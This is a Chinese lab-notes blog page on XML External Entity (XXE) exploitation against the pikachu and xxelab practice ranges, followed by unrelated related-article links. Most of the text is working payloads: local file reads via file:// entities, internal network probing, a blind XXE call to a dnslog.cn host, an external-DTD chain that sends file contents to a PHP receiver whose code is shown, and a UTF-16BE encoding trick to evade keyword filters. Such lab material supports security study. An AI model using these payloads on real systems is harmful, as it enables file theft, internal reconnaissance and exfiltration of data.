6.2 XXE和XML利用
pikaqu靶场xml数据传输测试-有回显,玩法,协议,引入
1、构造payload
写文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY write "good boy,this is a test"> ]>
<note>
&write;
</note>
读文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<x>
&xxe;
</x>
2、玩法-内网探针-内网应用攻击
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://10.133.6.123:81/test.txt">]>
<x>
&rabbit;
</x>
无回显
成功探测到80端口开放和81端口文件读取;
3、无回显,构造payload
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://bsken8.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
引入外部实体dtd(类似远程文件包含)
1、构造payload,读取test.txt内容,发送给http://127.0.0.1:81/test.dtd
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:81/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>
xxe.dtd ,接收数据到get.php文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:81/get.php?file=%25file;'>">
get.php内容:将接收到的数据写入到file.txt文件中。
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
关键词ENTITY、SYSTEM、file过滤
使用编码绕过:UTF-16BE
xxelab靶场测试
抓包判断是否存在xml;
存在<user><username>1</username><password>1</password></user>
构造payload验证;
<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<user><username>&test;</username><password>Mikasa</password></user>
6.2 XXE和XML利用的更多相关文章
- 实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- XXE验证与利用流程
特征 特征1 --- .ashx 看到url是 .ashx后缀的 特征2 --- 响应体是xml 发现有这些特征都可以用下面的流程测试 测试 在线工具: http://ceye.io/ http:// ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- XML利用接口显示并导入到数据库
//控制器代码 /// <summary> /// 页面 /// </summary> /// <returns></returns> public A ...
- XML注入介绍--XXE,XEE,xpath等
XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...
- XML相关的安全漏洞-XXE,XPATH小结
0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...
- XXE(XML External Entity attack)XML外部实体注入攻击
导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...
- XML External Entity attack/XXE攻击
XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...
- XML外部实体(XXE)注入详解
###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Ex ...
随机推荐
- Mybatis 插入后获取主键
项目结构 数据表结构 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmln ...
- 解决方案 | 笔记本电脑能连上WIFI,但是无Internet显示地球图标,怎么回事?(win10)
一.背景 任务栏托盘区显示地球图标,但是实际上可以上网. 疑难诊断一般是这种情况: 二.可能的有效解决方案 0 方案0:使用360断网急救箱傻瓜式修复 个人制作 | 360断网急救箱新版-2.0版单文 ...
- css3 动画插件Animate.css
官网:https://animate.style/ GitHub:https://github.com/daneden/animate.css
- Day 9 - 线段树
线段树 引入 线段树是算法竞赛中常用的用来维护 区间信息 的数据结构. 线段树可以在 \(O(\log N)\) 的时间复杂度内实现单点修改.区间修改.区间查询(区间求和,求区间最大值,求区间最小值) ...
- Windows11下使用VcXsrv+xfce4实现图形化窗口
通过 sudo apt-get install xfce4-terminal sudo apt-get install xfce4 sudo service dbus restart 来安装所需要的软 ...
- VUE小知识~作用域插槽
作用域插槽可以为我们向组件内插入特定的标签,方便修改维护. 组件内需要使用 <slot></slot>进行插槽站位. 组件标签内需要使用<template > &l ...
- Jenkins 配合Pipeline使用Docker
配合Pipeline使用Docker 许多组织使用Docker跨机器统一构建和测试环境,并为部署应用程序提供高效机制.从Pipeline 2.5及更高版本开始,Pipeline内置了从Jenkinsf ...
- 浅谈 golang 代码规范, 性能优化和需要注意的坑
浅谈 golang 代码规范, 性能优化和需要注意的坑 编码规范 [强制] 声明slice 申明 slice 最好使用 var t []int 而不是使用 t := make([]int, 0) 因为 ...
- 题解 WD与数列
P5161 WD与数列 可以想到原条件是一个差分形式,所以我们对原数组差分.然后发现答案其实就是 \(\sum_{i<j} \min(lcp(i+1,j+1)+1,j-i)\). 这个东西先跑 ...
- linux环境弱网测试
linux环境弱网测试 使用以下命令可以对linux系统进行弱网设置 sudo tc qdisc add dev eth0 root netem delay 500ms #设置500ms的 ...